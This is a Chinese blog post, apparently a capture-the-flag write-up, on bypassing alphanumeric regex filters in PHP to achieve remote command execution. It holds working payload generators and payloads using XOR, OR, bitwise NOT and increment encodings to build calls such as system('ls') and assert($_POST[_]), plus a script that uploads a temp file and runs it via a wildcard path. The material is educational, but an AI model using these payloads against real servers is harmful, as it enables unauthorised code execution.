【无标题】

14.无数字字符绕过

1.构造POST数据包

通过构造数据包,向⽬标服务器发送⽂件,⽂件已被保存到tmp⽬录下再根据保存的⽂件名的特性(最后⼀个字⺟为⼤写),筛选⽂件,利⽤ . 执⾏。

【请求数据包的结构:

第一部分:请求行(数据包中的一行内容)

请求行包括三部分:

  • 请求方式(get/post)
  • 请求资源路径(端口号之后的内容,比如/appname/servlet)
  • 协议的类型和版本

第二部分:若干消息头(消息头是由w3c定义的一些有特殊含义的键值对)

消息头的样式,比如:content-type=text/html;

(消息头一般由浏览器或者服务器自动生成,但是也可以通过编程的方式生成)

第三部分:空行

第四部分:实体内容

  • 如果请求方式是post方式,请求参数及值会放在这儿;
  • 如果请求方式是get方式,请求参数及值是包含在请求资源路径里边。

1.解题思路:

  • 构造Post数据包上传文件,linux系统下会保存在/temp/php??????
  • 抓包,使文件中包含sh'命令
  • 利用.执行
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/"
method="post" enctype="multipart/form-data">

<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

注意:tmp目录下文件比较多,我们所上传的文件最后一个字母是大写,因此利用ascii字母的大写匹 配,过滤掉其他文件[@-[ ]

 2.无字母数字绕过正则

1.异或

<?php

/*author yu22x*/

$myfile = fopen("xor_rce.txt", "w"); //以写的方式打开txt文件
$contents="";
for ($i=0; $i < 256; $i++) { //ascii码只占一个字节,所以设置最大数256
//两个for循环总共256*256中可能的情况

   for ($j=0; $j <256 ; $j++) { 

		if($i<16){ //ascii的前16个字符的十六进制应该是01,02,。。。。下面为了格式化
数字加上了0
			$hex_i='0'.dechex($i); //dechex(十进制转换成十六进制)
		}
		else{
			$hex_i=dechex($i); ///将所有的数字转换成十六进制
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){//过滤掉被匹配的字符

					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)^urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {//32到126是ascii码的所有可显示字符

			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);///将我们得到的所有字符写入之前打开的文件
fclose($myfile);//关闭文件

 

# -*- coding: utf-8 -*-

# author yu22x

import requests
import urllib
from sys import *
import os
def action(arg): //定义action函数
   s1="" //用于异或的第一个字符串
   s2="" //用于异或的第二个字符串
   for i in arg: //i表示arg的一个字符
       f=open("xor_rce.txt","r") //打开php脚本生成的xor_rce.txt
       while True:
           t=f.readline() //一行一行读取文件
           if t=="": //读取完毕就结束
               break
           if t[0]==i://t[0]也就是文件中的第一列,32-126个可显示的ascii码字符
               #print(i)
               s1+=t[2:5]//截取i所在行第3列到第5列表示第一个字符串
               s2+=t[6:9] ///截取i所在行第7列到第9列表示第二个字符串
               break
       f.close()
   output="(\""+s1+"\"^\""+s2+"\")" ///对两个字符串进行异或
   return(output)
   
while True:
//我们输入的函数和命令被作为arg
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
   print(param)

 

php运行后生成一个txt文档,包含所有可见字符的异或构造结果。
接着运行python脚本即可。
运行结果

[+] your function:system
[+] your command:ls
("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b");

将得到的结果复制过去即可,最终效果如下图所示。

 2.或

<?php

/* author yu22x */

$myfile = fopen("or_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[0-9a-z]/i';//根据题目给的正则表达式修改即可
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)|urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);
# -*- coding: utf-8 -*-

# author yu22x

import requests
import urllib
from sys import *
import os
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("or_rce.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
   print(param)

运行结果:

[+] your function:system
[+] your command:ls
("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13"|"%60%60");

最终效果图

3.取反

 取反基本上用的都是一个不可见字符,所以不会触发到正则表达式,一个php脚本就可以了

<?php
//在命令行中运行

/*author yu22x*/

fwrite(STDOUT,'[+]your function: ');

$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 

fwrite(STDOUT,'[+]your command: ');

$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 

echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
[+]your function: system
[+]your command: ls
[*] (~%8C%86%8C%8B%9A%92)(~%93%8C);

效果图

在这里插入图片描述

 4.自增

//测试发现7.0.12以上版本不可使用
//使用时需要url编码下
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
固定格式 构造出来的 assert($_POST[_]);
然后post传入   _=phpinfo();

效果图

在这里插入图片描述

5.上传临时文件

#coding:utf-8
#author yu22x
import requests
url="http://xxx/test.php?code=?><?=`. /???/????????[@-[]`;?>"
files={'file':'cat f*'}
response=requests.post(url,files=files)
html = response.text
print(html)

 】

通过汉字或者⼀些不可⻅字符,进⾏异或,求与,取反等操作构建字⺟从⽽构建命令,最后显示 的结果是经过url编码的。

脚本的说明:

生成字符表脚本

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值